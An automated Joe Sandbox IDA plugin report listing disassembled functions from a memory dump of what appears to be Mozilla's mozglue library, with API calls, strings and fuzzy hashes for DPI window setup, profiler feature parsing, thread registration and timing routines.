Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 1d10605c8991902143d3174ce5344e8c7af9cf4de0a4714f16f8ad4037e568d2
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 54A1B271F0061A9FDB08CE69C8917AEB7F2AFC9354F198129D916E7781DB346C068BD0

Function 6C7355F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C70E1A5), ref: 6C735606
LoadLibraryW.KERNEL32(gdi32,?,6C70E1A5), ref: 6C73560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C735633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C73563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C73566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C73567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C735696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C7356B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C7356CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C7356E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C7356FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C735716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C73572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C735748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C735761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C73577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C735793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C7357A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C7357BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C7357D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C7357EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C7357FF

Strings

EnableNonClientDpiScaling, xrefs: 6C735666
DeleteObject, xrefs: 6C7357F9
StretchDIBits, xrefs: 6C7357CC
LoadIconW, xrefs: 6C73575B
user32, xrefs: 6C735601
CreateWindowExW, xrefs: 6C7356C5
SetWindowLongPtrW, xrefs: 6C7357B7
ReleaseDC, xrefs: 6C735742
MonitorFromWindow, xrefs: 6C73578D
GetSystemMetricsForDpi, xrefs: 6C735677
SetWindowPos, xrefs: 6C7356F7
gdi32, xrefs: 6C73560A
FillRect, xrefs: 6C735729
AreDpiAwarenessContextsEqual, xrefs: 6C735637
GetWindowDC, xrefs: 6C735710
RegisterClassW, xrefs: 6C7356AC
LoadCursorW, xrefs: 6C735774
GetThreadDpiAwarenessContext, xrefs: 6C73562D
CreateSolidBrush, xrefs: 6C7357E4
GetDpiForWindow, xrefs: 6C735690
GetMonitorInfoW, xrefs: 6C7357A2
ShowWindow, xrefs: 6C7356DE

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: ced22ec9b650b6ae24c812dc4b37c73ff8d5c3ba999052d2c9e53b3123e873b0
Instruction ID: 4c2d771c7b2bfa41d27756438a2037fdd15881f3a4ec74be16ba619f7b144625
Opcode Fuzzy Hash: ced22ec9b650b6ae24c812dc4b37c73ff8d5c3ba999052d2c9e53b3123e873b0
Instruction Fuzzy Hash: 3F5177707017539BEB419F36AF449763AFCAB0B245B945439ED26E2A42EF74DA00CF60

Function 6C71CC00 Relevance: 75.2, APIs: 25, Strings: 25, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C6E582D), ref: 6C71CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C6E582D), ref: 6C71CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C74FE98,?,?,?,?,?,6C6E582D), ref: 6C71CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C6E582D), ref: 6C71CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C6E582D), ref: 6C71CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C6E582D), ref: 6C71CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6E582D), ref: 6C71CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C71CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C71CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C71CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C71CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C71CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C71CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C71CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C71CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C71CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C71CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C71CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C71CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C71CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C71CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C71CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C71CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C71CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C71CE8A

Strings

nostacksampling, xrefs: 6C71CD7C
Unrecognized feature "%s"., xrefs: 6C71CEA0
samplingallthreads, xrefs: 6C71CE2C
markersallthreads, xrefs: 6C71CE42
unregisteredthreads, xrefs: 6C71CE58
nativeallocations, xrefs: 6C71CDA8
fileioall, xrefs: 6C71CCA8
stackwalk, xrefs: 6C71CCF8
audiocallbacktracing, xrefs: 6C71CDD4
screenshots, xrefs: 6C71CCD4
seqstyle, xrefs: 6C71CCE6
preferencereads, xrefs: 6C71CD92
power, xrefs: 6C71CE84
fileio, xrefs: 6C71CC92
noiostacks, xrefs: 6C71CCBE
java, xrefs: 6C71CC37
mainthreadio, xrefs: 6C71CC7C
leaf, xrefs: 6C71CC66
default, xrefs: 6C71CC21
jsallocations, xrefs: 6C71CD0E
ipcmessages, xrefs: 6C71CDBE
processcpu, xrefs: 6C71CE6E
Q^, xrefs: 6C71CD25
cpuallthreads, xrefs: 6C71CE16
notimerresolutionchange, xrefs: 6C71CE00

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$Q^$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-1065946776
Opcode ID: 6d06a32a9aa7a11325b27c717d70a84f30ebe116637917bec7ea2806eeb29514
Instruction ID: 71f9d54ba6b30e0a6f14e590b6df5fc572ab6eb392ce604f717fdda2b3d316f8
Opcode Fuzzy Hash: 6d06a32a9aa7a11325b27c717d70a84f30ebe116637917bec7ea2806eeb29514
Instruction Fuzzy Hash: 1A51A9C1A5D62553FB0031956F1BBAA1409EF5324BF1C843AED8AA1E80FF05D71D86B7

Function 6C6E4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6E44B2,6C75E21C,6C75F7F8), ref: 6C6E473E
Part of subcall function 6C6E4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C6E474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6E44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6E44D2
InitOnceExecuteOnce.KERNEL32(6C75F80C,6C6DF240,?,?), ref: 6C6E451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C6E455C
LoadLibraryW.KERNEL32(?), ref: 6C6E4592
InitializeCriticalSection.KERNEL32(6C75F770), ref: 6C6E45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6E45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6E45BB
InitOnceExecuteOnce.KERNEL32(6C75F818,6C6DF240,?,?), ref: 6C6E4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C6E4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C6E4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C6E466D
VerSetConditionMask.NTDLL ref: 6C6E469F
VerSetConditionMask.NTDLL ref: 6C6E46AB
VerSetConditionMask.NTDLL ref: 6C6E46B2
VerSetConditionMask.NTDLL ref: 6C6E46B9
VerSetConditionMask.NTDLL ref: 6C6E46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6E46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6E46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6E46FD

Strings

NativeNtBlockSet_Write, xrefs: 6C6E46F7
kernel32.dll, xrefs: 6C6E44CD
Gul, xrefs: 6C6E44FC
WRusr.dll, xrefs: 6C6E44B5
l, xrefs: 6C6E4578
user32.dll, xrefs: 6C6E4557, 6C6E463F

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gul$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3710063018
Opcode ID: 94c959ddb160ab38cc061d62032ead993cd8066b9edc0c6462f08989882cb0e6
Instruction ID: 758fe7e3f096bfa5386ec5c0ee655920cd8f5f2e267fd8d3a2ce02af1a3e8871
Opcode Fuzzy Hash: 94c959ddb160ab38cc061d62032ead993cd8066b9edc0c6462f08989882cb0e6
Instruction Fuzzy Hash: 986108B06093449FEB009FB1CC09BB57BB8EB4A308F84C56AE5049B641DFB1AA55CF95

Function 6C71F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
Part of subcall function 6C719420: __Init_thread_footer.LIBCMT ref: 6C71949F

GetCurrentThreadId.KERNEL32 ref: 6C71F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C71F8F9

Part of subcall function 6C6E6390: GetCurrentThreadId.KERNEL32 ref: 6C6E63D0
Part of subcall function 6C6E6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6E63DF
Part of subcall function 6C6E6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6E640E

ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71F93A
GetCurrentThreadId.KERNEL32 ref: 6C71F98A
GetCurrentThreadId.KERNEL32 ref: 6C71F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71F716

Part of subcall function 6C7194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7194EE
Part of subcall function 6C7194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C719508

Part of subcall function 6C6DB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C6DB5E0

GetCurrentThreadId.KERNEL32 ref: 6C71F739
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71F746
GetCurrentThreadId.KERNEL32 ref: 6C71F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6C75385B,00000002,?,?,?,?,?), ref: 6C71F829
free.MOZGLUE(?,?,00000000,?), ref: 6C71F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6C71F866
free.MOZGLUE(?), ref: 6C71FA0C

Part of subcall function 6C6E5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E55E1), ref: 6C6E5E8C
Part of subcall function 6C6E5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E5E9D
Part of subcall function 6C6E5E60: GetCurrentThreadId.KERNEL32 ref: 6C6E5EAB
Part of subcall function 6C6E5E60: GetCurrentThreadId.KERNEL32 ref: 6C6E5EB8
Part of subcall function 6C6E5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E5ECF
Part of subcall function 6C6E5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C6E5F27
Part of subcall function 6C6E5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C6E5F47
Part of subcall function 6C6E5E60: GetCurrentProcess.KERNEL32 ref: 6C6E5F53
Part of subcall function 6C6E5E60: GetCurrentThread.KERNEL32 ref: 6C6E5F5C
Part of subcall function 6C6E5E60: GetCurrentProcess.KERNEL32 ref: 6C6E5F66
Part of subcall function 6C6E5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C6E5F7E

free.MOZGLUE(?), ref: 6C71F9C5
free.MOZGLUE(?), ref: 6C71F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C71F9A6
[D %d/%d] profiler_register_thread(%s), xrefs: 6C71F71F
Thread , xrefs: 6C71F789
" attempted to re-register as ", xrefs: 6C71F858

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: af1fa5d12c74fefc4e4c0b305a42cd153e33a6e6a95b9312dfd19de04bce4cac
Instruction ID: b18a07cf0a33956cf00611a9b0ce72f3e54bcec32f2d6b20da14c1162074d79b
Opcode Fuzzy Hash: af1fa5d12c74fefc4e4c0b305a42cd153e33a6e6a95b9312dfd19de04bce4cac
Instruction Fuzzy Hash: A58128716083009FD700DF24C944BAABBB5FFC5308F89452DE85597B51EB30E949CBA6

Function 6C71EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6E4A68), ref: 6C71945E
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C719470
Part of subcall function 6C719420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C719482
Part of subcall function 6C719420: __Init_thread_footer.LIBCMT ref: 6C71949F

GetCurrentThreadId.KERNEL32 ref: 6C71EE60
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71EE6D
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C71EEA5
CloseHandle.KERNEL32(?), ref: 6C71EEB4
free.MOZGLUE(00000000), ref: 6C71EEBB
GetCurrentThreadId.KERNEL32 ref: 6C71EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71EECF

Part of subcall function 6C71DE60: GetCurrentThreadId.KERNEL32 ref: 6C71DE73
Part of subcall function 6C71DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C6E4A68), ref: 6C71DE7B
Part of subcall function 6C71DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C6E4A68), ref: 6C71DEB8
Part of subcall function 6C71DE60: free.MOZGLUE(00000000,?,6C6E4A68), ref: 6C71DEFE
Part of subcall function 6C71DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C71DF38

Part of subcall function 6C70CBE8: GetCurrentProcess.KERNEL32(?,6C6D31A7), ref: 6C70CBF1
Part of subcall function 6C70CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6D31A7), ref: 6C70CBFA

GetCurrentThreadId.KERNEL32 ref: 6C71EF1E
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71EF2B
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71EF59
GetCurrentThreadId.KERNEL32 ref: 6C71EFB0
AcquireSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71EFBD
ReleaseSRWLockExclusive.KERNEL32(6C75F4B8), ref: 6C71EFE1
GetCurrentThreadId.KERNEL32 ref: 6C71EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C71F000

Part of subcall function 6C7194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7194EE
Part of subcall function 6C7194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C719508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C71F02F

Part of subcall function 6C71F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C71F09B
Part of subcall function 6C71F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C71F0AC
Part of subcall function 6C71F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C71F0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C71EED7
[I %d/%d] profiler_pause, xrefs: 6C71F008

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 5217d2edae2944765499ccf413d5f2dd5f3e9ebe3c881cce6d4499041e085410
Instruction ID: 8bc8a8edd98e0ea87bf4c6890ae376ca36b6d0baaedabcdc5b08bb707ca03d20
Opcode Fuzzy Hash: 5217d2edae2944765499ccf413d5f2dd5f3e9ebe3c881cce6d4499041e085410
Instruction Fuzzy Hash: D65107357082149FEB406BA4D50C7B677B8EB46318F98053AED2583F80DF716949C7A2

Function 6C6E5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E5E9D

Part of subcall function 6C6F5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6F56EE,?,00000001), ref: 6C6F5B85
Part of subcall function 6C6F5B50: EnterCriticalSection.KERNEL32(6C75F688,?,?,?,6C6F56EE,?,00000001), ref: 6C6F5B90
Part of subcall function 6C6F5B50: LeaveCriticalSection.KERNEL32(6C75F688,?,?,?,6C6F56EE,?,00000001), ref: 6C6F5BD8
Part of subcall function 6C6F5B50: GetTickCount64.KERNEL32 ref: 6C6F5BE4

GetCurrentThreadId.KERNEL32 ref: 6C6E5EAB
GetCurrentThreadId.KERNEL32 ref: 6C6E5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6E5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C6E6017

Part of subcall function 6C6D4310: moz_xmalloc.MOZGLUE(00000010,?,6C6D42D2), ref: 6C6D436A
Part of subcall function 6C6D4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6D42D2), ref: 6C6D4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C6E5F47
GetCurrentProcess.KERNEL32 ref: 6C6E5F53
GetCurrentThread.KERNEL32 ref: 6C6E5F5C
GetCurrentProcess.KERNEL32 ref: 6C6E5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C6E5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C6E5F27

Part of subcall function 6C6ECA10: mozalloc_abort.MOZGLUE(?), ref: 6C6ECAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E55E1), ref: 6C6E5E8C

Part of subcall function 6C6ECA10: malloc.MOZGLUE(?), ref: 6C6ECA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E55E1), ref: 6C6E605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6E55E1), ref: 6C6E60CC

Strings

GeckoMain, xrefs: 6C6E5ECE, 6C6E6015

Memory Dump Source

Source File: 00000000.00000002.2520940153.000000006C6D1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6D0000, based on PE: true

Associated: 00000000.00000002.2520899184.000000006C6D0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521033172.000000006C74D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521074751.000000006C75E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2521119351.000000006C762000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6d0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: d43d76548bab3dc26e10c1c46173e5268ddfa58b6bb50b62ff96c886858a3c44
Instruction ID: ec4ef041da221c556b86672eedc2547e9e0de6f6be452e91de4c01f6d0b66c69
Opcode Fuzzy Hash: d43d76548bab3dc26e10c1c46173e5268ddfa58b6bb50b62ff96c886858a3c44
Instruction Fuzzy Hash: 257128B0A09740DFD700DF28C584A6ABBF0FF5A304F54492EE59687B52DB30E948CB56

Function 6C6E9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C6D3217
Part of subcall function 6C6D31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C6D3236
